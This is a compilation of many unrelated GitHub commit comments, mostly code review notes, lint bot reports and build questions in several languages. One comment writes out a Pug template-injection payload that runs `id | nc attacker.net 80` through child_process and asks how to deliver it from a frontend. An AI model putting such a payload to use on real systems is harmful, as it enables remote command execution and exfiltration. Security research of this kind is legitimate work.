<!DOCTYPE html>

	<form method="GET">
		First Name: <input type=<"text" name="firstname">

		Last Name: <input type=<"text" name="lastname">

		Email: <input type=<"email" name="email">

		Password: <input type=<"password" name="password minlength=8">

		Birthday: <input type=<"date" name="birthday">

		Gender:

		<input type="radio" name="gender" value="Male">Male

		<input type="radio" name="gender" value="Female">Female

		<input type="radio" name="gender" value="Other">Other

		Pets:

		<input type="checkbox" name="cat"> Cat

		<input type="checkbox" name="dog"> Dog

		Cars:

		<select name=cars>
			<option value="volvo" >Volvo</option>
			<option value="Audi" >Audi</option>
		</select>

		<input type="submit" value="Register"!">
		<input type="reset">
	</form>


ready to checkin


more logging eh?


Puzzle `1395-2f0f55eb` discovered in   [`src/test/resources/com/zerocracy/bundles/close_job_with_quality_review/_after.groovy`](  https://github.com/zerocracy/farm/blob/master/src/test/resources/com/zerocracy/bundles/close_job_with_quality_review/_after.groovy)   and submitted as #1460. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


did you guys managed to boot ubuntu touch on jflte device?


`user.dataValues.username` will have the payload .. but we need newline character to have legit harmfull payload .. like
instead of just normal `#{4*7}` we should have payload like
``` - var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80') ```

But this payload will need to contain tabs and newlines .. how to send such payload from frontend ?


What a dramatic change dude


This is a markdown file


Merge from GitHub


aa


xx


There is a hidden error in the commit 'error not found'. I'll look for her.


hi


Cool. I did not imagine that the Gaffer Jack quest issue could have such a simple or narrow solution.


its okay


oof sed


## Detekt report:
❌LongParameterList - 9/7 - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L18

EmptyIfBlock - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L20

EmptyIfBlock - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L22

EmptyIfBlock - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L26

EmptyElseBlock - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L28

EmptyWhenBlock - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L33

EmptyIfBlock - [createPresenter]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L9

EmptyIfBlock - [createPresenter]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L11

MagicNumber - [num]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L16

MagicNumber - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L22

MagicNumber - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L26

MagicNumber - [myFunc]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L38

MagicNumber - [createPresenter]
https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L11


![](https://github.trello.services/images/mini-trello-icon.png) [Tiles maken voor start area](https://trello.com/c/iufQ6uve/4-tiles-maken-voor-start-area)


![](https://github.trello.services/images/mini-trello-icon.png) [Click to walk tiles (Nav mesh gefixt)](https://trello.com/c/n7Lore8s/1-click-to-walk-tiles-nav-mesh-gefixt)


asdasdassdasdsasdasdas


It's a guess out of blue: but try to check import statements, because there were two different libraries for Loader class, maybe you imported not the right one and this is the problem.


整理了此页面的代码


Instead of lines 85 and 90, could we just use getLoaderManager.initLoader(EARTHQUAKE_LOADER_ID, null, this);
Do these two different usages have any kind of pros and cons?


目前发现 BBR 安装失败，不知道作者是否有更新计划


Yes, we need to open PRs when not certain of the result so other people can review them.


Pas besoin de préciser que tu veux la colonne Id, l'orm te retourne par défaut tous les champs non relationnels de ton entité :) (encore plus si tu fais ship.*)


If you are interested, we can develop a new RX module which is better than furiousfpv product. We can communicate via e-mail.


Hello,

You should look at MAX7456 datasheet and see if tweaking registers improve stability.

If you found something relevant, I will be happy to improve library.


Hi. Author has been changed while only an availability check has been removed from the patch.


This fixes issue #479.


remove


you know I have a script that updates all gst-* ports at once?
see the miscellaneous subdirectory in the Scripts/ directory for how I do it.
I just commit them all at once after build testing them all at once.


存在重复元素


So, just for the sake of the record I've never thought we should have a normalize_name for either of resource classes or traits. It could make sense to have a validate_name but a normalize_name means that code is allowed to construct invalid resource {classes, traits} and then magically turn them into something valid. They should just make valid ones in the first place. I'm guessing you're thinking "well if people are creating resource {classes, traits} commonly from things in their environment it would be nice to be able to automate the translation of a set of words into the right structure".

In my head, if that kind of translation _is_ happening then it is going to have details which are important to the source data (the collection of words). That it each code/project environment should do its own.

I'm not explaining this because I reject your idea (I'm fine with doing it) but rather to point some of the differences in the way we think about where authority and flexibility should live in software systems. I want _any_ code (whether it uses os_resource_classes or not) to be able to make it's own choices about how it constructs things and to be able to validate those choices against one thing only: the placement API. Distributing validation to both a library and the placement API is (in my admittedly somewhat twisted head) simultaneously a dangerous distribution of authority and a limiter on client flexibility and diversity.

Ideally there wouldn't be an os-resource-classes at all because it is distributing authority about the standard classes away from placement itself, but I can accept the convenience that it grants. Also I'm aware I'm never going to win the battle of "just use strings" (instead of variables) when it comes to classes and traits.


## Detekt report:
❌
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L18)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L26)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L28)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L33)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L26)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/KotlinPresenter.kt#L38)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/b084d3e6e33f1dc3f6765e08ce467c07bf8496b9/Factory.kt#L11)


Another option here would be to put these strings into a yaml. If we did that then

* they could be consumed easily by other languages
* they could have metadata associated, including the description and such like

If that was done, I'd still think that the python code would _only_ associated the symbol with the name, not with any of the other data.


Added a variable to hold the "Hello World" message.


This will not work, isnt scene location packed? and not world location, so you need to create world point from local point?


Please open an issue about this, a commit is not the right place to talk about issues (nobody's going to find that in a month).

I don't know where those CFLAGS are coming from, but they seem to break the build command. Are those really necessary?


Sounds good. Thanks.

On Sun, Jul 22, 2018 at 4:38 AM Martin K. Scherer <notifications@github.com>
wrote:

> do you want to be added as a maintainer for the feedstock @hainm
> <https://github.com/hainm>?
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/arose/nglview/commit/98b8ce78f3669273c0fd06632a4894d4d1f75d5b#commitcomment-29791621>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AEPudR4M-JhLhupUWKVoSDUY1OdmIGd0ks5uJDn0gaJpZM4VZ6kE>
> .
>


(images/massage-confignon-massage-essentiel-dos.jpg){: class="img-responsive img-rounded" }


Yes, by mistake.


![](https://github.trello.services/images/mini-trello-icon.png) [GH - first shot](https://trello.com/c/vo0dQCjY/2-gh-first-shot)


@gmbnomis I agree completely. I've gone with the second option, so additional commits on this branch introduce a class called `FirstStage`. I'm going to open a PR this week for the entire work. I link you to it to get more input hopefully. Thanks for the comments!


Did you get insta-crash while running GPS? I had to use this patch to make GPS work properly
https://github.com/cm-3470/android_device_samsung_smdk3470-common/blob/lineage-15.1/patch/hardware_interfaces/0001-gps.default.so-fix-crash-on-access-to-unset-AGpsRilC.patch


golint: exported function String should have comment or be unexported


**BAD PRACTICE**

Use INTX_MAX to represent integer range infinite number


@espenberg You need to do a `git pull --rebase`.  It looks like you forgot the `--rebase`.

No harm done.  We may not even tidy it up.  @jralls  What do you think?


main files f test


Why do you use double pointer as parameter here?
is it not enough just to use single pointer?


Thanks ❤


Besides, is this function not used here?


Feature for normalize modal height.


Do not pass pointer's address.
Just pass pointer as input.


Double pointer => single pointer


It helps.


![Massage essentiel dos](images/massage-confignon-massage-essentiel-dos.jpg){: class="img-responsive img-rounded" }


CNAME? Ależ click-bait - od razu kliknalem, bo myslalem, ze zmieniamy ;-D


reback


Hi, I'm adding these changes to my implementation and while the new test `piping/then-interception` now passes nicely, I'm getting test failures in many basic tests as they try to pass in objects created with `ReadableStreamCreateReadResult` as the `actual` param of `assert_object_equals`, which tries to call `actual.hasOwnProperty` which is not there.

Easy to test by trying to run e.g. `readable-streams/cancel.html` but other tests in the readable-streams dir have failures as well.

I realise the fix should be in the WPT repo but figured I report this here as this is the source of the failures. I just pulled from WPT so I either I'm doing something wrong or the tests are now broken.

Ping @ricea


Make function name verb.
How about just `Relax`


Avoiding check might not be possible, since we have to control the visibility of popup likewise.


Nach diesem Commit sind leider viele Körperteile (von Tieren als auch von Menschen) nicht mehr übersetzt.


i can currently set them using `Ractive.find()` as `usagePopup = @find('.netlogo-codeusage-popup')`.


Hi @tophf

Thanks for that comment. I cant see the issue you show on screenshot on FF 66.0.1 but anyway I agree it may be too broad.

How about this instead.

```css
	#linter-label
	{
		white-space: nowrap !important;
	}
```


@stevertaylor can you fix this directly in master?  It'll be faster than me opening another PR.


Hi


> I'm guessing you're thinking "well if people are creating resource {classes, traits} commonly from things in their environment it would be nice to be able to automate the translation of a set of words into the right structure".

Exactly this. See for example https://review.openstack.org/#/c/579359/10/doc/source/specs/rocky/device-passthrough.rst@232

> validate those choices against one thing only: the placement API.

This is a core issue where we differ. If the placement API is the only place I can go to even *ask* if my custom resource class name is valid (let alone programmatically create one from an arbitrary string), then it means two things: 1) I have to *go* to the placement API - i.e. make a REST call, which is slow(er than calling a local library method); and 2) If there's only validation, not normalization, then I have to wait until runtime, potentially in the field, to find out that I have a bug in my home-grown conversion function for some unanticipated input. If both placement and placement clients are using the same logic/method for normalization, the chances of such field escapes are drastically reduced.

> differences in the way we think

Agree. Overall a very good thing that creates lively discussion and results in better software.


ds


`胡爷牛逼`


Actually I like that idea a lot. Like what we did for service-types-authority and os-service-types; resource-class-authority would have the yaml and os-resource-classes would be the thin shim that python consumers could import.


`g_find_program_in_path()` returns a newly-allocated string which should be freed.


This test
(weak & ~pos.pieces(Them, QUEEN)) (bench 4811651)
(same as) (weak & ~pos.pieces(QUEEN)) (bench 4811651)

is not the same as
(weak ^ pos.pieces(Them, QUEEN)) (bench 5003895)
which was tested here by @goodkov
http://tests.stockfishchess.org/tests/view/5b53c9620ebc5902bdb81843

because a^b = (a & ~b) | (b & ~a)
so the goodkov version was keeping the
weak "non queens" and the strongly protected queens.


Puzzle `1016-094de400` disappeared from [`src/main/java/com/zerocracy/pm/in/Impediments.java`](https://github.com/zerocracy/farm/blob/master/src/main/java/com/zerocracy/pm/in/Impediments.java), that's why I closed #1380. Please, remember that the puzzle was not necessarily removed in this particular commit. Maybe it happened earlier, but we discovered this fact only now.


I made a fix to run the old command for mysql and without the orWhere for pgsql. I have made a pull request for it https://github.com/snipe/snipe-it/pull/5915


added data source uri


Puzzle `1380-39754ff8` discovered in   [`src/main/groovy/com/zerocracy/stk/pm/in/impediments/remove_impediment.groovy`](  https://github.com/zerocracy/farm/blob/master/src/main/groovy/com/zerocracy/stk/pm/in/impediments/remove_impediment.groovy)   and submitted as #1461. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


std::find_if is already part of C++ language, it probably can replace boost version for all use cases.


wann kommt man hier oben in das file_exists() und wann braucht man den include darunter, ohne getPath()?


copy to v1_13 codec


If there not coming from the source code then there coming from Manjaro/Arch.
We didn't set any CFLAGS in the PKGBUILD.


Since the check needs to be done against the unchanged pose candidates, the map we shall use is motor-to-vision, not vision-to-motor as per standard.

The map inversion is possible thanks to the latest modification to `iolReachingCalibration` (see http://robotology.github.io/iol/doxygen/doc/html/classiolReachingCalibration__IDL.html#a7f255b52ec5e2712bb868b0d3834e29b).


@yonghyun123 ㅋㅋㅋㅋㅋㅋㅋㅋ 지금은 개발 스택 공부하는게 더 급하다...


Unnecessary else clause


Good


Hi! This is the friendly automated conda-forge-webservice.

I updated the Github team because of this commit.

- @hainm was added to conda-forge. Welcome to conda-forge!
  Go to https://github.com/orgs/conda-forge/invitation see your invitation.

You should get push access to this feedstock and CI services.

Feel free to join the community [chat room](https://gitter.im/conda-forge/conda-forge.github.io).

NOTE: Please make sure to not push to the repository directly.
      Use branches in your fork for any changes and send a PR.
      More details [here](https://conda-forge.org/docs/conda-forge_gotchas.html#using-a-fork-vs-a-branch-when-updating-a-recipe)


이야... 거의 스윙스네


So, what should I do?


Is this correct? If the current node is not something we can support, in the current form  we will delegate to the parent to deal with the node. However, with canProcessExpression's semantics, we will do a search right till the first SymbolReference is seen. Should we not return back as soon as the first non supported node is seen?


For reference, removed since 739c8355150.


It's in the not-yet-released Stylus 1.4.16, you can test it by loading manifest.json from our github repo on about:debugging page in FF.


The openbmc  is the future of the server bmc project.


I didn't test it to see if GPS works or not. But no crash. This commit just binderize the hal.


### ------------------------------- Detekt Issues ☠ -------------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L18)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L26)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L28)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L33)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L26)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/KotlinPresenter.kt#L38)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6117b99c813e4c577a7e73b8ceb849f30eab1036/Factory.kt#L11)


Revert this. We'll make this obsolete **AFTER** we have an alternative solution. Not before.


Haste work.  Everything maps to TRACE.  oops


Should this be encoded early -- when `build_backend` is set?


The enable/disable doesn't work when typing in the input field. When backspace to zero chars it should disable.

The reason I removed that code is from a UX perspective enable/disable didn't really make the experience any better. And, in modelling a keypad (such as on a physical alarm panel keypad), it doesn't enable/disable the button.

But the code is there :)


comment is not necessary anymore since we're py3 only


I can't remember what my testing environment was. It seems to install and work fine without it.


Encoding late makes sense to me, but I don't feel strongly about it.

On Sun, 22 Jul 2018, 3:19 p.m. Pradyun Gedam, <notifications@github.com>
wrote:

> Should this be encoded early -- when build_backend is set?
>
> —
> You are receiving this because you are subscribed to this thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/pypa/pep517/commit/6261bd944d6c414b6b37b92c1a414bf15bee0ed7#commitcomment-29792468>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AAUA9UAF6Z7NmFZ82GOskNuF7PnmG3Iaks5uJHvogaJpZM4VZ_iM>
> .
>


It could be that you are missing a reference to the System.Linq library.  I had to add using System.Linq; to the top of the file.


We are using someone else's library
https://github.com/mapleoin/undecorated/blob/master/undecorated.py#L35


Do you still want me to remove it?


xxx


### ------------------------------- Detekt Issues ☠ -------------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L18)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L26)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L28)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L33)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L26)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L38)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L11)


@eukreign, earlier this file was not covered by pylint. Do you want to keep it that way?


I don't think it makes sense for this to be bytes. Can you fix the underlying issue instead preventing this from being a unicode `str`?


:) OK well I just wanted to make sure you didnt see an issue with that linterlabel set with no wrap before I merged it :)


should 18.0.0! 要符合https://semver.org


Test merge (Pas partie de l'exercice, navré :/)


в 12 и 13 строках табы, нужно поменять на пробелы


пробел перед запятой не нужен (после `month`)


redict to page 404 not found


- hi
 - bbbbb


Arquivos PHP do curso de Arduino modulo 2


It does not create breaking changes, does not create confusion for users. Maybe it's a stupid code duplication, but good enough for workaround when you work on deprecated technology.


[make](http://www.gnu.org/software/make) package is needed too on Linux to build and install racer with Cargo (tested on Void Linux)


Good thing


это решение лучше предыдущего, полностью рабочий вариант
для расширения кругозора:
еще можно было использовать метод `step` из класса `Range`
тогда запись будет еще более короткая и может быть даже более читаемая:
```ruby
(10..100).step(5).to_a
```


May also be renamed to "connectivityLostAssumptionTime"


нужно убрать лишние пробелы в началах строк 2 - 4
код нужно начинать без пустого пространства перед ним


The breaking change is tiny & easy to fix even without a hint (it's just an extra parameter). And there will be only one implementation of this class in the project, so I can live with that. And it's on deprecated technology. :-)

I think that the code duplication is much bigger issue than a tiny breaking change - we had many of them in the past.

Let's discuss it in person when you have time.


### ------------------------------- Detekt Issues ☠ -------------------------------


Can you try this and tell me how is it?


Correct


看來對於3.6和3.7，tornado 4和tornado 5都是可以用的。3.5不知出了什麼差錯 => #77


не рекомендуется ставить пробел после открывающей скобки и перед закрывающей (кроме фигурных скобок в случае хеша или блока):
```ruby
# bad
array = [ 1, 2, 3 ]
a = ( 1 + 2 ) / 3
%w( a e i)
some_method( arg )

#good
array = [1, 2, 3]
a = (1 + 2) / 3
%w(a e i)
some_method(arg)
```


Puzzle `733-0f01ea8f` discovered in   [`src/main/java/com/zerocracy/farm/StkSafe.java`](  https://github.com/zerocracy/farm/blob/master/src/main/java/com/zerocracy/farm/StkSafe.java)   and submitted as #1466. Please, remember that the puzzle was not   necessarily added in this particular commit. Maybe it was added earlier, but   we discovered it only now.


в этом файле снова табы и код начинается не с начала строки, нужно поправить


This commit is kind of a cleanup of the background colors you added that looked bad if you ask me. I'm now going to be working on making elements rounder.


oof right


про квадратные скобки и пробелы написал выше


не нужно отступать код от начала строки


If it passes pylint then you can remove the `skip-file`.


tutorial-contents/Genetic Algorithm/Travel Sales Person.py

你好  测试


Preferably we remove the whole library, why are we stripping decorators from functions? Seems like a really bad architecture?


хорошее решение с интервалом и `each`
зачет ))


лишние пробелы перед/после скобок


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L18)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L24)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L26)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L31)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L24)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/KotlinPresenter.kt#L36)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/9d45e83c1ae99a4583e972bf007ac67bcb3c6a97/Factory.kt#L11)


Wow very innovative


В C# если тут будет пусто, то кидает какую ошибку? IndexOutOfBoundsException ?


i cant make it build.can u contact me ? dkatikaridis@gmail.com


здесь: `|index|` пробелы также не нужны
и было бы лучше назвать переменную как-то более "специализированно"
`month` уже использовано, поэтому придется пофантазировать )
например `month_number`


Looks redundant, I agree.


//issuegenerator when?


в этом файле снова табуляции и код начинается не с начала строки
надо исправлять


Методы должны принимать в себя Object, а потом внутри этот object кастится в LinkedListNode
Это будет как раз полиморфизмом


When you write the backend like your promised
![jhgt6omlil](https://user-images.githubusercontent.com/8843386/43046374-1a574a36-8dc8-11e8-934a-5085c9518f91.png)


I encoded late deliberately, on the "use Unicode internally, encode/decode at the boundaries" principle. In this case the boundary between our code and the `check_call` system call.

Actually, it wasn't so much "deliberate" as "natural" - I'm sufficiently used to fighting with Unicode that I follow that pattern without thinking :-)


> The breaking change is tiny & easy to fix even without a hint (it's just an extra parameter).

One parameter would be the change of dispose method in view model loader (and I think it's unnecessary, but whatever). Here we are going to remove entire interface (that is documented) when the service provider is fixed on OWIN and the migration to service provide might require installation of some package, create custom implementation of `IServiceProvider` (with request-scopes) or some similar non-trivial change. So I think that if we want to do that in a minor version, it should be at least deprecated from the beginning.


# AMI Upgrade Procedure
Running instances are not destroyed!
Only new instances in the Autoscaling group are making use of the new configured AMI
Increasing and then decrease the number of instances to get an upgrade of the instances
-> THIS IS VERY NICE SINCE IT WILL ALLOW AN EASY CLUSTER UPGRADE !!! :)

## Nomad
### Preparation
https://www.nomadproject.io/docs/commands/node/drain.html

### Cleanup
Removed old nodes - Force Garbage Collection:
` curl --request PUT http://cosms-nomad-ui-amoeba-1180030775.us-east-1.elb.amazonaws.com/v1/system/gc`

# NOTE: Nomad Server
It did not work with just 1 server and then scaling up to 2 and back to 1! A new leader was not determined!


Awesome


Is this a special key for the `GeoIP` service?
I think it's not the proper way to expose this secret key on this line.
Try to consider the [Travis encrypted environment variables](https://docs.travis-ci.com/user/environment-variables/#Defining-encrypted-variables-in-.travis.yml) :+1: .


@xji3 -- I think we'd like the opposite behavior.   If `locationObject instanceof Parameter` then it should be casted to a `BranchSpecificFixedEffects.None`


### ----------------------------- Detekt Issues ☠ -----------------------------
- [LongParameterList - 9/7 - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L18)
- [EmptyWhenBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L31)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L20)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L22)
- [EmptyIfBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L24)
- [EmptyElseBlock - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L26)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/Factory.kt#L9)
- [EmptyIfBlock - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/Factory.kt#L11)
- [MagicNumber - [num]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L16)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L22)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L24)
- [MagicNumber - [myFunc]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/KotlinPresenter.kt#L36)
- [MagicNumber - [createPresenter]](https://github.com/tarek360/emptyapp/blob/6906609217aef12ca477daa8a92fc1f737dfdc77/Factory.kt#L11)
